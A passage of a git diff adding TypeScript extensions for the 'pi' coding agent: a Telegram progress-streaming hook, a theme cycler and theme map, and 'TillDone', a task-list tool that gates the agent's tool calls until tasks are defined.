process.env.TELEGRAM_ALLOWED_USERS ?? ""; +const MSG_ID = process.env.TELEGRAM_STREAM_MSG_ID ?? ""; + +const MAX_LEN = 3800; // Telegram max is 4096, leave room + +function truncate(s: string): string { + return s.length > MAX_LEN ? s.slice(0, MAX_LEN) + "\n…" : s; +} + +async function editMessage(text: string) { + if (!BOT_TOKEN || !CHAT_ID || !MSG_ID) return; + try { + await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/editMessageText`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + chat_id: CHAT_ID, + message_id: parseInt(MSG_ID), + text: truncate(text), + parse_mode: "Markdown", + }), + }); + } catch (_) {} +} + +export default function (pi: ExtensionAPI) { + const steps: string[] = []; + const startTimes: Map = new Map(); + + function render(currentStep?: string): string { + const lines = ["⚙️ *Pi is working...*\n"]; + for (const s of steps) lines.push(s); + if (currentStep) lines.push(currentStep); + return lines.join("\n"); + } + + pi.on("tool_call", async (event, _ctx) => { + let label = ""; + + if (isToolCallEventType("bash", event)) { + const cmd = event.input.command ?? ""; + const short = cmd.length > 80 ? cmd.slice(0, 80) + "…" : cmd; + label = `🔄 \`${short}\``; + } else { + label = `🔄 \`${event.toolName}\``; + } + + startTimes.set(event.toolName + event.toolCallId, Date.now()); + await editMessage(render(label)); + }); + + pi.on("tool_execution_end", async (event) => { + const key = event.toolName + (event as any).toolCallId; + const elapsed = startTimes.has(key) ? ((Date.now() - startTimes.get(key)!) / 1000).toFixed(1) : "?"; + startTimes.delete(key); + + let label = ""; + if (event.toolName === "bash") { + const result = (event.result ?? "").toString().trim(); + const preview = result.split("\n").slice(0, 3).join("\n"); + const short = preview.length > 120 ? preview.slice(0, 120) + "…" : preview; + label = `✅ \`bash\` _(${elapsed}s)_${short ? "\n```\n" + short + "\n```" : ""}`; + } else { + label = `✅ \`${event.toolName}\` _(${elapsed}s)_`; + } + + steps.push(label); + // Keep last 10 steps to avoid message getting too long + if (steps.length > 10) steps.shift(); + + await editMessage(render()); + }); + + pi.on("agent_end", async (_event) => { + const summary = steps.length > 0 + ? `✅ *Done!* _(${steps.length} steps)_` + : `✅ *Done!*`; + await editMessage(render() + "\n\n" + summary); + }); +} diff --git a/extensions/theme-cycler.ts b/extensions/theme-cycler.ts new file mode 100644 index 0000000..3b16d4c --- /dev/null +++ b/extensions/theme-cycler.ts @@ -0,0 +1,181 @@ +/** + * Theme Cycler — Keyboard shortcuts to cycle through available themes + * + * Shortcuts: + * Ctrl+X — Cycle theme forward + * Ctrl+Q — Cycle theme backward + * + * Commands: + * /theme — Open select picker to choose a theme + * /theme — Switch directly by name + * + * Features: + * - Status line shows current theme name with accent color + * - Color swatch widget flashes briefly after each switch + * - Auto-dismisses swatch after 3 seconds + * + * Usage: pi -e extensions/theme-cycler.ts -e extensions/minimal.ts + */ + +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { truncateToWidth } from "@mariozechner/pi-tui"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +export default function (pi: ExtensionAPI) { + let currentCtx: ExtensionContext | undefined; + let swatchTimer: ReturnType | null = null; + + function updateStatus(ctx: ExtensionContext) { + if (!ctx.hasUI) return; + const name = ctx.ui.theme.name; + ctx.ui.setStatus("theme", `🎨 ${name}`); + } + + function showSwatch(ctx: ExtensionContext) { + if (!ctx.hasUI) return; + + if (swatchTimer) { + clearTimeout(swatchTimer); + swatchTimer = null; + } + + ctx.ui.setWidget( + "theme-swatch", + (_tui, theme) => ({ + invalidate() {}, + render(width: number): string[] { + const block = "\u2588\u2588\u2588"; + const swatch = + theme.fg("success", block) + + " " + + theme.fg("accent", block) + + " " + + theme.fg("warning", block) + + " " + + theme.fg("dim", block) + + " " + + theme.fg("muted", block); + const label = theme.fg("accent", " 🎨 ") + theme.fg("muted", ctx.ui.theme.name) + " " + swatch; + const border = theme.fg("borderMuted", "─".repeat(Math.max(0, width))); + return [border, truncateToWidth(" " + label, width), border]; + }, + }), + { placement: "belowEditor" }, + ); + + swatchTimer = setTimeout(() => { + ctx.ui.setWidget("theme-swatch", undefined); + swatchTimer = null; + }, 3000); + } + + function getThemeList(ctx: ExtensionContext) { + return ctx.ui.getAllThemes(); + } + + function findCurrentIndex(ctx: ExtensionContext): number { + const themes = getThemeList(ctx); + const current = ctx.ui.theme.name; + return themes.findIndex((t) => t.name === current); + } + + function cycleTheme(ctx: ExtensionContext, direction: 1 | -1) { + if (!ctx.hasUI) return; + + const themes = getThemeList(ctx); + if (themes.length === 0) { + ctx.ui.notify("No themes available", "warning"); + return; + } + + let index = findCurrentIndex(ctx); + if (index === -1) index = 0; + + index = (index + direction + themes.length) % themes.length; + const theme = themes[index]; + const result = ctx.ui.setTheme(theme.name); + + if (result.success) { + updateStatus(ctx); + showSwatch(ctx); + ctx.ui.notify(`${theme.name} (${index + 1}/${themes.length})`, "info"); + } else { + ctx.ui.notify(`Failed to set theme: ${result.error}`, "error"); + } + } + + // --- Shortcuts --- + + pi.registerShortcut("ctrl+x", { + description: "Cycle theme forward", + handler: async (ctx) => { + currentCtx = ctx; + cycleTheme(ctx, 1); + }, + }); + + pi.registerShortcut("ctrl+q", { + description: "Cycle theme backward", + handler: async (ctx) => { + currentCtx = ctx; + cycleTheme(ctx, -1); + }, + }); + + // --- Command: /theme --- + + pi.registerCommand("theme", { + description: "Select a theme: /theme or /theme ", + handler: async (args, ctx) => { + currentCtx = ctx; + if (!ctx.hasUI) return; + + const themes = getThemeList(ctx); + const arg = args.trim(); + + if (arg) { + const result = ctx.ui.setTheme(arg); + if (result.success) { + updateStatus(ctx); + showSwatch(ctx); + ctx.ui.notify(`Theme: ${arg}`, "info"); + } else { + ctx.ui.notify(`Theme not found: ${arg}. Use /theme to see available themes.`, "error"); + } + return; + } + + const items = themes.map((t) => { + const desc = t.path ? t.path : "built-in"; + const active = t.name === ctx.ui.theme.name ? " (active)" : ""; + return `${t.name}${active} — ${desc}`; + }); + + const selected = await ctx.ui.select("Select Theme", items); + if (!selected) return; + + const selectedName = selected.split(/\s/)[0]; + const result = ctx.ui.setTheme(selectedName); + if (result.success) { + updateStatus(ctx); + showSwatch(ctx); + ctx.ui.notify(`Theme: ${selectedName}`, "info"); + } + }, + }); + + // --- Session init --- + + pi.on("session_start", async (_event, ctx) => { + currentCtx = ctx; + applyExtensionDefaults(import.meta.url, ctx); + updateStatus(ctx); + }); + + pi.on("session_shutdown", async () => { + if (swatchTimer) { + clearTimeout(swatchTimer); + swatchTimer = null; + } + }); +} diff --git a/extensions/themeMap.ts b/extensions/themeMap.ts new file mode 100644 index 0000000..f1c7c5f --- /dev/null +++ b/extensions/themeMap.ts @@ -0,0 +1,149 @@ +/** + * themeMap.ts — Per-extension default theme assignments + * + * Themes live in .pi/themes/ and are mapped by extension filename (no extension). + * Each extension calls applyExtensionTheme(import.meta.url, ctx) in its session_start + * hook to automatically load its designated theme on boot. + * + * Available themes (.pi/themes/): + * catppuccin-mocha · cyberpunk · dracula · everforest · gruvbox + * midnight-ocean · nord · ocean-breeze · rose-pine + * synthwave · tokyo-night + */ + +import type { ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { basename } from "path"; +import { fileURLToPath } from "url"; + +// ── Theme assignments ────────────────────────────────────────────────────── +// +// Key = extension filename without extension (matches extensions/.ts) +// Value = theme name from .pi/themes/.json +// +export const THEME_MAP: Record = { + "agent-chain": "midnight-ocean", // deep sequential pipeline + "agent-dashboard": "tokyo-night", // unified monitoring hub + "agent-team": "dracula", // rich orchestration palette + "cross-agent": "ocean-breeze", // cross-boundary, connecting + "damage-control": "gruvbox", // grounded, earthy safety + "minimal": "synthwave", // synthwave by default now! + "observatory": "cyberpunk", // futuristic observation deck + "pi-pi": "rose-pine", // warm creative meta-agent + "pure-focus": "everforest", // calm, distraction-free + "purpose-gate": "tokyo-night", // intentional, sharp focus + "session-replay": "catppuccin-mocha", // soft, reflective history + "subagent-widget": "cyberpunk", // multi-agent futuristic + "system-select": "catppuccin-mocha", // soft selection UI + "theme-cycler": "synthwave", // neon, it's a theme tool + "tilldone": "everforest", // task-focused calm + "tool-counter": "synthwave", // techy metrics + "tool-counter-widget":"synthwave", // same family + "easymode": "catppuccin-mocha", // soft, welcoming for beginners + "model-router": "cyberpunk", // adaptive routing, futuristic + "hyperloop": "midnight-ocean", // deep orchestration, async vibes + "nexus": "tokyo-night", // unified intelligence layer +}; + +// ── Helpers ─────────────────────────────────────────────────────────────── + +/** Derive the extension name (e.g. "minimal") from its import.meta.url. */ +function extensionName(fileUrl: string): string { + const filePath = fileUrl.startsWith("file://") ? fileURLToPath(fileUrl) : fileUrl; + return basename(filePath).replace(/\.[^.]+$/, ""); +} + +// ── Theme ────────────────────────────────────────────────────────────────── + +/** + * Apply the mapped theme for an extension on session boot. + * + * @param fileUrl Pass `import.meta.url` from the calling extension file. + * @param ctx The ExtensionContext from the session_start handler. + * @returns true if the theme was applied successfully, false otherwise. + */ +export function applyExtensionTheme(fileUrl: string, ctx: ExtensionContext): boolean { + if (!ctx.hasUI) return false; + + const name = extensionName(fileUrl); + + // If there are multiple extensions stacked in 'ipi', they each fire session_start + // and try to apply their own mapped theme. The LAST one to fire wins. + // Since system-select is last in the ipi alias array, it was setting 'catppuccin-mocha'. + + // We want to skip theme application for all secondary extensions if they are stacked, + // so the primary extension (first in the array) dictates the theme. + const primaryExt = primaryExtensionName(); + if (primaryExt && primaryExt !== name) { + return true; // Pretend we succeeded, but don't overwrite the primary theme + } + + let themeName = THEME_MAP[name]; + + if (!themeName) { + themeName = "synthwave"; + } + + const result = ctx.ui.setTheme(themeName); + + if (!result.success && themeName !== "synthwave") { + return ctx.ui.setTheme("synthwave").success; + } + + return result.success; +} +// ── Title ────────────────────────────────────────────────────────────────── + +/** + * Read process.argv to find the first -e / --extension flag value. + * + * When Pi is launched as: + * pi -e extensions/subagent-widget.ts -e extensions/pure-focus.ts + * + * process.argv contains those paths verbatim. Every stacked extension calls + * this and gets the same answer ("subagent-widget"), so all setTitle calls + * are idempotent — no shared state or deduplication needed. + * + * Returns null if no -e flag is present (e.g. plain `pi` with no extensions). + */ +function primaryExtensionName(): string | null { + const argv = process.argv; + for (let i = 0; i < argv.length - 1; i++) { + if (argv[i] === "-e" || argv[i] === "--extension") { + return basename(argv[i + 1]).replace(/\.[^.]+$/, ""); + } + } + return null; +} + +/** + * Set the terminal title to "π - " on session boot. + * Reads the title from process.argv so all stacked extensions agree on the + * same value — no coordination or shared state required. + * + * Deferred 150 ms to fire after Pi's own startup title-set. + */ +function applyExtensionTitle(ctx: ExtensionContext): void { + if (!ctx.hasUI) return; + const name = primaryExtensionName(); + if (!name) return; + setTimeout(() => ctx.ui.setTitle(`π - ${name}`), 150); +} + +// ── Combined default ─────────────────────────────────────────────────────── + +/** + * Apply both the mapped theme AND the terminal title for an extension. + * Drop-in replacement for applyExtensionTheme — call this in every session_start. + * + * Usage: + * import { applyExtensionDefaults } from "./themeMap.ts"; + * + * pi.on("session_start", async (_event, ctx) => { + * applyExtensionDefaults(import.meta.url, ctx); + * // ... rest of handler + * }); + */ +export function applyExtensionDefaults(fileUrl: string, ctx: ExtensionContext): void { + applyExtensionTheme(fileUrl, ctx); + applyExtensionTitle(ctx); +} diff --git a/extensions/tilldone.ts b/extensions/tilldone.ts new file mode 100644 index 0000000..66eae0d --- /dev/null +++ b/extensions/tilldone.ts @@ -0,0 +1,726 @@ +/** + * TillDone Extension — Work Till It's Done + * + * A task-driven discipline extension. The agent MUST define what it's going + * to do (via `tilldone add`) before it can use any other tools. On agent + * completion, if tasks remain incomplete, the agent gets nudged to continue + * or mark them done. Play on words: "todo" → "tilldone" (work till done). + * + * Three-state lifecycle: idle → inprogress → done + * + * Each list has a title and description that give the tasks a theme. + * Use `new-list` to start a fresh list. `clear` wipes tasks with user confirm. + * + * UI surfaces: + * - Footer: persistent task list with live progress + list title + * - Widget: prominent "current task" display (the inprogress task) + * - Status: compact summary in the status line + * - /tilldone: interactive overlay with full task details + * + * Usage: pi -e extensions/tilldone.ts + */ + +import { StringEnum } from "@mariozechner/pi-ai"; +import type { ExtensionAPI, ExtensionContext, Theme } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, matchesKey, Text, truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { Type } from "@sinclair/typebox"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Types ────────────────────────────────────────────────────────────── + +type TaskStatus = "idle" | "inprogress" | "done"; + +interface Task { + id: number; + text: string; + status: TaskStatus; +} + +interface TillDoneDetails { + action: string; + tasks: Task[]; + nextId: number; + listTitle?: string; + listDescription?: string; + error?: string; +} + +const TillDoneParams = Type.Object({ + action: StringEnum(["new-list", "add", "toggle", "remove", "update", "list", "clear"] as const), + text: Type.Optional(Type.String({ description: "Task text (for add/update), or list title (for new-list)" })), + texts: Type.Optional(Type.Array(Type.String(), { description: "Multiple task texts (for add). Use this to batch-add several tasks at once." })), + description: Type.Optional(Type.String({ description: "List description (for new-list)" })), + id: Type.Optional(Type.Number({ description: "Task ID (for toggle/remove/update)" })), +}); + +// ── Status helpers ───────────────────────────────────────────────────── + +const STATUS_ICON: Record = { idle: "○", inprogress: "●", done: "✓" }; +const NEXT_STATUS: Record = { idle: "inprogress", inprogress: "done", done: "idle" }; +const STATUS_LABEL: Record = { idle: "idle", inprogress: "in progress", done: "done" }; + +// ── /tilldone overlay component ──────────────────────────────────────── + +class TillDoneListComponent { + private tasks: Task[]; + private title: string | undefined; + private desc: string | undefined; + private theme: Theme; + private onClose: () => void; + private cachedWidth?: number; + private cachedLines?: string[]; + + constructor(tasks: Task[], title: string | undefined, desc: string | undefined, theme: Theme, onClose: () => void) { + this.tasks = tasks; + this.title = title; + this.desc = desc; + this.theme = theme; + this.onClose = onClose; + } + + handleInput(data: string): void { + if (matchesKey(data, "escape") || matchesKey(data, "ctrl+c")) { + this.onClose(); + } + } + + render(width: number): string[] { + if (this.cachedLines && this.cachedWidth === width) return this.cachedLines; + + const lines: string[] = []; + const th = this.theme; + + lines.push(""); + const heading = this.title + ? th.fg("accent", ` ${this.title} `) + : th.fg("accent", " TillDone "); + const headingLen = this.title ? this.title.length + 2 : 10; + lines.push(truncateToWidth( + th.fg("borderMuted", "─".repeat(3)) + heading + + th.fg("borderMuted", "─".repeat(Math.max(0, width - 3 - headingLen))), + width, + )); + + if (this.desc) { + lines.push(truncateToWidth(` ${th.fg("muted", this.desc)}`, width)); + } + lines.push(""); + + if (this.tasks.length === 0) { + lines.push(truncateToWidth(` ${th.fg("dim", "No tasks yet. Ask the agent to add some!")}`, width)); + } else { + const done = this.tasks.filter((t) => t.status === "done").length; + const active = this.tasks.filter((t) => t.status === "inprogress").length; + const idle = this.tasks.filter((t) => t.status === "idle").length; + + lines.push(truncateToWidth( + " " + + th.fg("success", `${done} done`) + th.fg("dim", " ") + + th.fg("accent", `${active} active`) + th.fg("dim", " ") + + th.fg("muted", `${idle} idle`), + width, + )); + lines.push(""); + + for (const task of this.tasks) { + const icon = task.status === "done" + ? th.fg("success", STATUS_ICON.done) + : task.status === "inprogress" + ? th.fg("accent", STATUS_ICON.inprogress) + : th.fg("dim", STATUS_ICON.idle); + const id = th.fg("accent", `#${task.id}`); + const text = task.status === "done" + ? th.fg("dim", task.text) + : task.status === "inprogress" + ? th.fg("success", task.text) + : th.fg("muted", task.text); + lines.push(truncateToWidth(` ${icon} ${id} ${text}`, width)); + } + } + + lines.push(""); + lines.push(truncateToWidth(` ${th.fg("dim", "Press Escape to close")}`, width)); + lines.push(""); + + this.cachedWidth = width; + this.cachedLines = lines; + return lines; + } + + invalidate(): void { + this.cachedWidth = undefined; + this.cachedLines = undefined; + } +} + +// ── Extension entry point ────────────────────────────────────────────── + +export default function (pi: ExtensionAPI) { + let tasks: Task[] = []; + let nextId = 1; + let listTitle: string | undefined; + let listDescription: string | undefined; + let nudgedThisCycle = false; + + // ── Snapshot for details ─────────────────────────────────────────── + + const makeDetails = (action: string, error?: string): TillDoneDetails => ({ + action, + tasks: [...tasks], + nextId, + listTitle, + listDescription, + ...(error ? { error } : {}), + }); + + // ── UI refresh ───────────────────────────────────────────────────── + + const refreshWidget = (ctx: ExtensionContext) => { + const current = tasks.find((t) => t.status === "inprogress"); + + if (!current) { + ctx.ui.setWidget("tilldone-current", undefined); + return; + } + + ctx.ui.setWidget("tilldone-current", (_tui, theme) => { + const container = new Container(); + const borderFn = (s: string) => theme.fg("dim", s); + + container.addChild(new Text("", 0, 0)); + container.addChild(new DynamicBorder(borderFn)); + const content = new Text("", 1, 0); + container.addChild(content); + container.addChild(new DynamicBorder(borderFn)); + + return { + render(width: number): string[] { + const cur = tasks.find((t) => t.status === "inprogress"); + if (!cur) return []; + + const line = + theme.fg("accent", "● ") + + theme.fg("dim", "WORKING ON ") + + theme.fg("accent", `#${cur.id}`) + + theme.fg("dim", " ") + + theme.fg("success", cur.text); + + content.setText(truncateToWidth(line, width - 4)); + return container.render(width); + }, + invalidate() { container.invalidate(); }, + }; + }, { placement: "belowEditor" }); + }; + + const refreshFooter = (ctx: ExtensionContext) => { + ctx.ui.setFooter((tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => tui.requestRender()); + + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + const done = tasks.filter((t) => t.status === "done").length; + const active = tasks.filter((t) => t.status === "inprogress").length; + const idle = tasks.filter((t) => t.status === "idle").length; + const total = tasks.length; + + // ── Line 1: list title + progress (left), counts (right) ── + const titleDisplay = listTitle + ? theme.fg("accent", ` ${listTitle} `) + : theme.fg("dim", " TillDone "); + + const l1Left = total === 0 + ? titleDisplay + theme.fg("muted", "no tasks") + : titleDisplay + + theme.fg("warning", "[") + + theme.fg("success", `${done}`) + + theme.fg("dim", "/") + + theme.fg("success", `${total}`) + + theme.fg("warning", "]"); + + const l1Right = total === 0 + ? "" + : theme.fg("dim", STATUS_ICON.idle + " ") + theme.fg("muted", `${idle}`) + + theme.fg("dim", " ") + + theme.fg("accent", STATUS_ICON.inprogress + " ") + theme.fg("accent", `${active}`) + + theme.fg("dim", " ") + + theme.fg("success", STATUS_ICON.done + " ") + theme.fg("success", `${done}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + if (total === 0) return [line1]; + + // ── Rows: inprogress first, then most recent done, max 5 ── + const activeTasks = tasks.filter((t) => t.status === "inprogress"); + const doneTasks = tasks.filter((t) => t.status === "done").reverse(); + const visible = [...activeTasks, ...doneTasks].slice(0, 5); + const remaining = total - visible.length; + + const rows = visible.map((t) => { + const icon = t.status === "done" + ? theme.fg("success", STATUS_ICON.done) + : theme.fg("accent", STATUS_ICON.inprogress); + const text = t.status === "done" + ? theme.fg("dim", t.text) + : theme.fg("success", t.text); + return truncateToWidth(` ${icon} ${text}`, width, ""); + }); + + if (remaining > 0) { + rows.push(truncateToWidth( + ` ${theme.fg("dim", ` +${remaining} more`)}`, + width, "", + )); + } + + return [line1, ...rows]; + }, + }; + }); + }; + + const refreshUI = (ctx: ExtensionContext) => { + if (tasks.length === 0) { + ctx.ui.setStatus("📋 TillDone: no tasks", "tilldone"); + } else { + const remaining = tasks.filter((t) => t.status !== "done").length; + const label = listTitle ? `📋 ${listTitle}` : "📋 TillDone"; + ctx.ui.setStatus(`${label}: ${tasks.length} tasks (${remaining} remaining)`, "tilldone"); + } + + refreshWidget(ctx); + refreshFooter(ctx); + }; + + // ── State reconstruction from session ────────────────────────────── + + const reconstructState = (ctx: ExtensionContext) => { + tasks = []; + nextId = 1; + listTitle = undefined; + listDescription = undefined; + + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type !== "message") continue; + const msg = entry.message; + if (msg.role !== "toolResult" || msg.toolName !== "tilldone") continue; + + const details = msg.details as TillDoneDetails | undefined; + if (details) { + tasks = details.tasks; + nextId = details.nextId; + listTitle = details.listTitle; + listDescription = details.listDescription; + } + } + + refreshUI(ctx); + }; + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + reconstructState(ctx); + }); + pi.on("session_switch", async (_event, ctx) => reconstructState(ctx)); + pi.on("session_fork", async (_event, ctx) => reconstructState(ctx)); + pi.on("session_tree", async (_event, ctx) => reconstructState(ctx)); + + // ── Blocking gate ────────────────────────────────────────────────── + + pi.on("tool_call", async (event, _ctx) => { + if (event.toolName === "tilldone") return { block: false }; + + const pending = tasks.filter((t) => t.status !== "done"); + const active = tasks.filter((t) => t.status === "inprogress"); + + if (tasks.length === 0) { + return { + block: true, + reason: "🚫 No TillDone tasks defined. You MUST use `tilldone new-list` or `tilldone add` to define your tasks before using any other tools. Plan your work first!", + }; + } + if (pending.length === 0) { + return { + block: true, + reason: "🚫 All TillDone tasks are done. You MUST use `tilldone add` for new tasks or `tilldone new-list` to start a fresh list before using any other tools.", + }; + } + if (active.length === 0) { + return { + block: true, + reason: "🚫 No task is in progress. You MUST use `tilldone toggle` to mark a task as inprogress before doing any work.", + }; + } + + return { block: false }; + }); + + // ── Auto-nudge on agent_end ──────────────────────────────────────── + + pi.on("agent_end", async (_event, _ctx) => { + const incomplete = tasks.filter((t) => t.status !== "done"); + if (incomplete.length === 0 || nudgedThisCycle) return; + + nudgedThisCycle = true; + + const taskList = incomplete + .map((t) => ` ${STATUS_ICON[t.status]} #${t.id} [${STATUS_LABEL[t.status]}]: ${t.text}`) + .join("\n"); + + pi.sendMessage( + { + customType: "tilldone-nudge", + content: `⚠️ You still have ${incomplete.length} incomplete task(s):\n\n${taskList}\n\nEither continue working on them or mark them done with \`tilldone toggle\`. Don't stop until it's done!`, + display: true, + }, + { triggerTurn: true }, + ); + }); + + pi.on("input", async () => { + nudgedThisCycle = false; + return { action: "continue" as const }; + }); + + // ── Register tilldone tool ───────────────────────────────────────── + + pi.registerTool({ + name: "tilldone", + label: "TillDone", + description: + "Manage your task list. You MUST add tasks before using any other tools. " + + "Actions: new-list (text=title, description), add (text or texts[] for batch), toggle (id) — cycles idle→inprogress→done, remove (id), update (id + text), list, clear. " + + "Always toggle a task to inprogress before starting work on it, and to done when finished. " + + "Use new-list to start a themed list with a title and description. " + + "IMPORTANT: If the user's new request does not fit the current list's theme, use clear to wipe the slate and new-list to start fresh.", + parameters: TillDoneParams, + + async execute(_toolCallId, params, _signal, _onUpdate, ctx) { + switch (params.action) { + case "new-list": { + if (!params.text) { + return { + content: [{ type: "text" as const, text: "Error: text (title) required for new-list" }], + details: makeDetails("new-list", "text required"), + }; + } + + // If a list already exists, confirm before replacing + if (tasks.length > 0 || listTitle) { + const confirmed = await ctx.ui.confirm( + "Start a new list?", + `This will replace${listTitle ? ` "${listTitle}"` : " the current list"} (${tasks.length} task(s)). Continue?`, + { timeout: 30000 }, + ); + if (!confirmed) { + return { + content: [{ type: "text" as const, text: "New list cancelled by user." }], + details: makeDetails("new-list", "cancelled"), + }; + } + } + + tasks = []; + nextId = 1; + listTitle = params.text; + listDescription = params.description || undefined; + + const result = { + content: [{ + type: "text" as const, + text: `New list: "${listTitle}"${listDescription ? ` — ${listDescription}` : ""}`, + }], + details: makeDetails("new-list"), + }; + refreshUI(ctx); + return result; + } + + case "list": { + const header = listTitle ? `${listTitle}:` : ""; + const result = { + content: [{ + type: "text" as const, + text: tasks.length + ? (header ? header + "\n" : "") + + tasks.map((t) => `[${STATUS_ICON[t.status]}] #${t.id} (${t.status}): ${t.text}`).join("\n") + : "No tasks defined yet.", + }], + details: makeDetails("list"), + }; + refreshUI(ctx); + return result; + } + + case "add": { + const items = params.texts?.length ? params.texts : params.text ? [params.text] : []; + if (items.length === 0) { + return { + content: [{ type: "text" as const, text: "Error: text or texts required for add" }], + details: makeDetails("add", "text required"), + }; + } + const added: Task[] = []; + for (const item of items) { + const t: Task = { id: nextId++, text: item, status: "idle" }; + tasks.push(t); + added.push(t); + } + const msg = added.length === 1 + ? `Added task #${added[0].id}: ${added[0].text}` + : `Added ${added.length} tasks: ${added.map((t) => `#${t.id}`).join(", ")}`; + const result = { + content: [{ type: "text" as const, text: msg }], + details: makeDetails("add"), + }; + refreshUI(ctx); + return result; + } + + case "toggle": { + if (params.id === undefined) { + return { + content: [{ type: "text" as const, text: "Error: id required for toggle" }], + details: makeDetails("toggle", "id required"), + }; + } + const task = tasks.find((t) => t.id === params.id); + if (!task) { + return { + content: [{ type: "text" as const, text: `Task #${params.id} not found` }], + details: makeDetails("toggle", `#${params.id} not found`), + }; + } + const prev = task.status; + task.status = NEXT_STATUS[task.status]; + + // Enforce single inprogress — demote any other active task + const demoted: Task[] = []; + if (task.status === "inprogress") { + for (const t of tasks) { + if (t.id !== task.id && t.status === "inprogress") { + t.status = "idle"; + demoted.push(t); + } + } + } + + let msg = `Task #${task.id}: ${prev} → ${task.status}`; + if (demoted.length > 0) { + msg += `\n(Auto-paused ${demoted.map((t) => `#${t.id}`).join(", ")} → idle. Only one task can be in progress at a time.)`; + } + + const result = { + content: [{ + type: "text" as const, + text: msg, + }], + details: makeDetails("toggle"), + }; + refreshUI(ctx); + return result; + } + + case "remove": { + if (params.id === undefined) { + return { + content: [{ type: "text" as const, text: "Error: id required for remove" }], + details: makeDetails("remove", "id required"), + }; + } + const idx = tasks.findIndex((t) => t.id === params.id); + if (idx === -1) { + return { + content: [{ type: "text" as const, text: `Task #${params.id} not found` }], + details: makeDetails("remove", `#${params.id} not found`), + }; + } + const removed = tasks.splice(idx, 1)[0]; + const result = { + content: [{ type: "text" as const, text: `Removed task #${removed.id}: ${removed.text}` }], + details: makeDetails("remove"), + }; + refreshUI(ctx); + return result; + } + + case "update": { + if (params.id === undefined) { + return { + content: [{ type: "text" as const, text: "Error: id required for update" }], + details: makeDetails("update", "id required"), + }; + } + if (!params.text) { + return { + content: [{ type: "text" as const, text: "Error: text required for update" }], + details: makeDetails("update", "text required"), + }; + } + const toUpdate = tasks.find((t) => t.id === params.id); + if (!toUpdate) { + return { + content: [{ type: "text" as const, text: `Task #${params.id} not found` }], + details: makeDetails("update", `#${params.id} not found`), + }; + } + const oldText = toUpdate.text; + toUpdate.text = params.text; + const result = { + content: [{ type: "text" as const, text: `Updated #${toUpdate.id}: "${oldText}" → "${toUpdate.text}"` }], + details: makeDetails("update"), + }; + refreshUI(ctx); + return result; + } + + case "clear": { + if (tasks.length > 0) { + const confirmed = await ctx.ui.confirm( + "Clear TillDone list?", + `This will remove all ${tasks.length} task(s)${listTitle ? ` from "${listTitle}"` : ""}. Continue?`, + { timeout: 30000 }, + ); + if (!confirmed) { + return { + content: [{ type: "text" as const, text: "Clear cancelled by user." }], + details: makeDetails("clear", "cancelled"), + }; + } + } + + const count = tasks.length; + tasks = []; + nextId = 1; + listTitle = undefined; + listDescription = undefined; + + const result = { + content: [{ type: "text" as const, text: `Cleared ${count} task(s)` }], + details: makeDetails("clear"), + }; + refreshUI(ctx); + return result; + } + + default: + return { + content: [{ type: "text" as const, text: `Unknown action: ${params.action}` }], + details: makeDetails("list", `unknown action: ${params.action}`), + }; + } + }, + + renderCall(args, theme) { + let text = theme.fg("toolTitle", theme.bold("tilldone ")) + theme.fg("muted", args.action); + if (args.texts?.length) text += ` ${theme.fg("dim", `${args.texts.length} tasks`)}`; + else if (args.text) text += ` ${theme.fg("dim", `"${args.text}"`)}`; + if (args.description) text += ` ${theme.fg("dim", `— ${args.description}`)}`; + if (args.id !== undefined) text += ` ${theme.fg("accent", `#${args.id}`)}`; + return new Text(text, 0, 0); + }, + + renderResult(result, { expanded }, theme) { + const details = result.details as TillDoneDetails | undefined; + if (!details) { + const text = result.content[0]; + return new Text(text?.type === "text" ? text.text : "", 0, 0); + } + + if (details.error) { + return new Text(theme.fg("error", `Error: ${details.error}`), 0, 0); + } + + const taskList = details.tasks; + + switch (details.action) { + case "new-list": { + let msg = theme.fg("success", "✓ New list ") + theme.fg("accent", `"${details.listTitle}"`); + if (details.listDescription) { + msg += theme.fg("dim", ` — ${details.listDescription}`); + } + return new Text(msg, 0, 0); + } + + case "list": { + if (taskList.length === 0) return new Text(theme.fg("dim", "No tasks"), 0, 0); + + let listText = ""; + if (details.listTitle) { + listText += theme.fg("accent", details.listTitle) + theme.fg("dim", " "); + } + listText += theme.fg("muted", `${taskList.length} task(s):`); + const display = expanded ? taskList : taskList.slice(0, 5); + for (const t of display) { + const icon = t.status === "done" + ? theme.fg("success", STATUS_ICON.done) + : t.status === "inprogress" + ? theme.fg("accent", STATUS_ICON.inprogress) + : theme.fg("dim", STATUS_ICON.idle); + const itemText = t.status === "done" + ? theme.fg("dim", t.text) + : t.status === "inprogress" + ? theme.fg("success", t.text) + : theme.fg("muted", t.text); + listText += `\n${icon} ${theme.fg("accent", `#${t.id}`)} ${itemText}`; + } + if (!expanded && taskList.length > 5) { + listText += `\n${theme.fg("dim", `... ${taskList.length - 5} more`)}`; + } + return new Text(listText, 0, 0); + } + + case "add": { + const text = result.content[0]; + const msg = text?.type === "text" ? text.text : ""; + return new Text(theme.fg("success", "✓ ") + theme.fg("muted", msg), 0, 0); + } + + case "toggle": { + const text = result.content[0]; + const msg = text?.type === "text" ? text.text : ""; + return new Text(theme.fg("accent", "⟳ ") + theme.fg("muted", msg), 0, 0); + } + + case "remove": { + const text = result.content[0]; + const msg = text?.type === "text" ? text.text : ""; + return new Text(theme.fg("warning", "✕ ") + theme.fg("muted", msg), 0, 0); + } + + case "update": { + const text = result.content[0]; + const msg = text?.type === "text" ? text.text : ""; + return new Text(theme.fg("success", "✓ ") + theme.fg("muted", msg), 0, 0); + } + + case "clear": + return new Text(theme.fg("success", "✓ ") + 